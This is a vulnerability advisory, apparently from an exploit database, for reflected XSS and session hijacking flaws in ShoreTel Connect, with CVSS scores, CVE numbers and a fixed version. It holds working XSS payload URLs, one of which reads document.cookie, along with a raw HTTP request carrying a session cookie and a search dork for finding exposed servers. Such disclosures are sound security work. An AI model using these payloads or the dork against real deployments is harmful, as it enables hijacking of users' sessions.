4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.5 Medium
AI Score
Confidence
High
0.002 Low
EPSS
Percentile
60.6%
# Exploit Title: Shoretel Connect Multiple Vulnerability
# Google Dork: inurl:/signin.php?ret=
# Date: 14/06/2017
# Author: Ramikan
# Vendor Homepage: https://www.shoretel.com/
# Software Link: https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview
# Version: Tested on 18.62.2000.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0 can be affected on other versions.
# Tested on: Mozila Firefox 53.0.3 (32 bit) Browser
# CVE :CVE-2019-9591, CVE-2019-9592, CVE-2019-9593
# Category:Web Apps
Vulnerability: Reflected XSS and Session Fixation
Vendor Web site: http://support.shoretel.com
Version tested:18.62.2000.0, Version 19.45.1602.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0
Google dork: inurl:/signin.php?ret=
Solution: Update to 19.49.1500.0
Vulnerability 1:Refelected XSS & Form Action Hijacking
Affected URL:
/signin.php?ret=http%3A%2F%2Fdomainname.com%2F%3Fpage%3DACCOUNT&&brand=4429769&brandUrl=https://domainname.com/site/l8o5g--><script>alert(1)</script>y0gpy&page=ACCOUNT
Affected Parameter: brandUrl
Vulnerability 2: Reflected XSS
Affected URL:
/index.php/" onmouseover%3dalert(document.cookie) style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b
Affected Parameter: url
Affected Version 19.45.1602.0
Vulnerability 3: Reflected XSS
/site/?page=jtqv8"><script>alert(1)</script>bi14e
Affected Parameter: page
Affected Version:18.82.2000.0
GET /site/?page=jtqv8"><script>alert(1)</script>bi14e HTTP/1.1
Host: hostnamem
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://bdrsconference.bdrs.com/signin.php
Cookie: PHPSESSID=2229e3450f16fcfb2531e2b9d01b9fec; chkcookie=1508247199505
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Vulnerability 4: Session Hijacking
By exploiting the above XSS vulnerability, the attacker can obtain the valid session cookies of a authenticated user and hijack the session.
PHPSESSID, chkcookie both cookies are insecure.
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.5 Medium
AI Score
Confidence
High
0.002 Low
EPSS
Percentile
60.6%